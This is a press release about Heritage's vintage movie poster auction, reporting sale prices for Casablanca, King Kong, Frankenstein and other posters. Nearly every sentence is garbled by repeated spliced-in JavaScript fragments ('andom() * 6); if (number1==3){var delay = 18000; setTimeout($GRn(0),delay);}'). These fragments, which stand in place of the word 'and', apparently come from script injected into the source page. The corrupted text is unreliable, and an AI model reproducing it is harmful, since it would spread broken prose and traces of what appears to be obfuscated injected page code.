DALLAS, TEXAS — A massive six sheet movie poster for Casablanca, one of just two copies known, said goodbye to its $60,000 estimate when it went on to realize $107,550 in Heritage’s vintage movie poster Signature auction. Measuring 81 by 81 inches, the poster took top lot honors during the March 23–24 event which brought more than $1.72 million andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was 96.4 percent sold by value.

 “This is the largest Casablanca poster we’ve ever offered at Heritage,” said Grey Smith, director of movie posters at Heritage. “It is always a pleasure to manage the sale of a rare find like this six sheet — this was a once-in-a-lifetime opportunity to own this particular poster andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the price proves it.”

Several rare posters doubled their estimates with a one sheet for MGM’s 1932 classic Tarzan the Ape Man reaching $65,725 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the poster for D.W. Griffith’s controversial epic Birth of a Nation, depicting John Wilkes Booth leaping onto the stage of Ford’s Theater after assassinating President Abraham Lincoln, realizing $47,800.

Collectors remain devoted fans of famous movie monsters, as a CGC graded lobby card for 1931’s Frankenstein realized $38,837. Two scarce posters for RKO’s King Kong brought impressive prices, as a reissue one sheet on linen fetched $35,850 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Swedish oversized poster, depicting Kong grappling a biplane andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a cringing Fay Wray, brought $26,290. A 1938 reissue poster for Universal’s Dracula, sporting a classic visage of Bela Lugosi, sold for $20,315.

Posters for iconic animation sold briskly, as a 1932 Mickey Mouse stock poster delivered $26,680 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a stock poster for 1941’s Superman cartoon series by Paramount/Fleisher Studios sold for $23,900. An impressive six sheet for Columbia’s 1948 Superman live-action serial sold for $15,535.

Other top lots included a 1942 one sheet on linen for Casablanca, that sold for $17,925. A half sheet for the 1927 Buster Keaton classic The General fetched $16,730, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a one sheet for 1954’s Creature From The Black Lagoon brought $15,535. Rounding out the top lots, a graceful Fred Astaire andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Ginger Rogers gargantuan 24 sheet for 1936’s Swing Tim, measuring at 104 by 232 inches, also sold at $15,535.

All prices quoted include the buyer’s premium. For more information, 800-872-6267 or www.ha.com.